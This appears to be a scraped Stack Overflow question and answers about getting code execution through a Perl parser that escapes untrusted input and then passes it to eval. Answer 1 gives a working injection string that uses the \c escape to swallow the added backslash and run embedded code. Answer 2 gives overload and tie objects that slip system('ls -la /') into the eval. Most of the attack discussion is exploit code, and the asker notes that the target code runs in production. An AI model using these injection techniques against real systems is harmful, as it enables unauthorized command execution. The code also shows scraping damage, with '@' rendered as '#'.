Perl jail escape - perl

Question

Given the following Perl code, how could one get code execution if they control $foo?
sub Parse($)
{
my $dataPt = shift;
my (#toks, $tok, $more);
Tok: for (;;) {
# find the next token
last unless $$dataPt =~ /(\S)/sg; # get next non-space character
if ($1 eq '(') { # start of list
$tok = Parse($dataPt);
} elsif ($1 eq ')') { # end of list
$more = 1;
last;
} elsif ($1 eq '"') { # quoted string
$tok = '';
for (;;) {
my $pos = pos($$dataPt);
last Tok unless $$dataPt =~ /"/sg;
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
# we're good unless quote was escaped by odd number of backslashes
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
print("here\n");
$tok .= '"'; # quote is part of the string
}
# must protect unescaped "$" and "#" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\#]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
$tok = eval qq{"$tok"};
} else { # key name
pos($$dataPt) = pos($$dataPt) - 1;
# allow anything in key but whitespace, braces and double quotes
# (this is one of those assumptions I mentioned)
$tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
}
push #toks, $tok if defined $tok;
}
# prevent further parsing unless more after this
pos($$dataPt) = length $$dataPt unless $more;
return #toks ? \#toks : undef;
}
$foo = '(test(foo "bar"))';
$ref = \$foo;
ParseAnt $ref;
I believe there is a way to force the parsing function to include an unescaped double quote in the $tok variable before it is processed by eval, but I was not successful in doing so.
I cannot provide more information as this code snippet is used in production.
Edit
Since the (well-meant) changes to the question happened to invalidate an early answer I am adding this note, along with the original version for the reader's convenience (what can be seen under revisions anyway) ---
Original version of this question:
Given the following Perl code, how could one get code execution if they control $str?
my $str = "malicious payload";
die if $str =~ /"/;
$str =~ s{\\(.)|([\$\#]|\\$)}{'\\'.($2 || $1)}sge;
eval qq{"$str"};

Answer 1

You can take advantage of \c to eat an inserted escape character.
\c${ print qq{0wn3d\n}; \'' }
The key code is
$str =~ s{\\(.)|([\$\#]|\\$)}{'\\'.($2 || $1)}sge;
This answer focuses on this as this is all that was provided intially.
There are two ways to inject code:
Closing the string literal.
This would require a literal " in the input, or its production by the validator.
Using a construct that allows code to be embedded.
These are:
$BLOCK
#BLOCK
$NAME[ EXPR ], $NAME->[ EXPR ], $BLOCK[ EXPR ], $$NAME[ EXPR ]
#NAME[ EXPR ], $NAME->#[ EXPR ], #BLOCK[ EXPR ], #$NAME[ EXPR ]
$NAME{ EXPR }, $NAME->{ EXPR }, $BLOCK{ EXPR }, $$NAME{ EXPR }
#NAME{ EXPR }, $NAME->#{ EXPR }, #BLOCK{ EXPR }, #$NAME{ EXPR }
Both EXPR and BLOCK can contain executable code.
There are various ways of getting those sequences into a string.
Fooling the validator into thinking something is already escaped.
Causing an an escape to be treated as something else.
Fooling the validator into escaping what would already escape the sequence.
Through removal of characters from the middle.
Taking advantage of $$ or $\ somehow.
The snippet's intent to is to process \ escapes as Perl would.[1] We can take advantage of \c to eat an escape character. \c eats the next character, so we can use before a $ to each the the validator's attempt to escape the $.
\c${ print qq{0wn3d\n}; \'' }
becomes
"\c\${ print qq{0wn3d\n}; \'' }"
which means
do { print qq{0wn3d\n}; chr(0x1C) }
Kudos to #bananabr for finding \c.
This, in of itself, is surely a bug. Write a parser for your language's escapes.

Answer 2

{ package Jail::Breaker;
use overload
'""' => sub {
my ($self) = #_;
if ($self->[0]++ < 1) {
return $self->[1]
} else {
return qq(";system '$self->[1]';")
}
},
fallback => 1;
sub new {
my ($class, $string) = #_;
bless [0, $string], $class
}
}
my $str = 'Jail::Breaker'->new('ls -la /');
die 'invalid' if $str =~ /"/;
$str =~ s{\\(.)|([\$\#]|\\$)}{'\\'.($2 || $1)}sge;
eval qq{"$str"};
or, similarly,
{ package Jail::Breaker;
use Tie::Scalar;
use parent -norequire => 'Tie::StdScalar';
my $fetched;
sub FETCH {
my ($self) = #_;
if ($fetched++) {
return qq(";system'$$self';")
} else {
return $$self
}
}
}
tie my $str, 'Jail::Breaker', 'ls -la /';
...
Both the solutions use an object which returns something else when read for the first time, and the "evil" string when read later.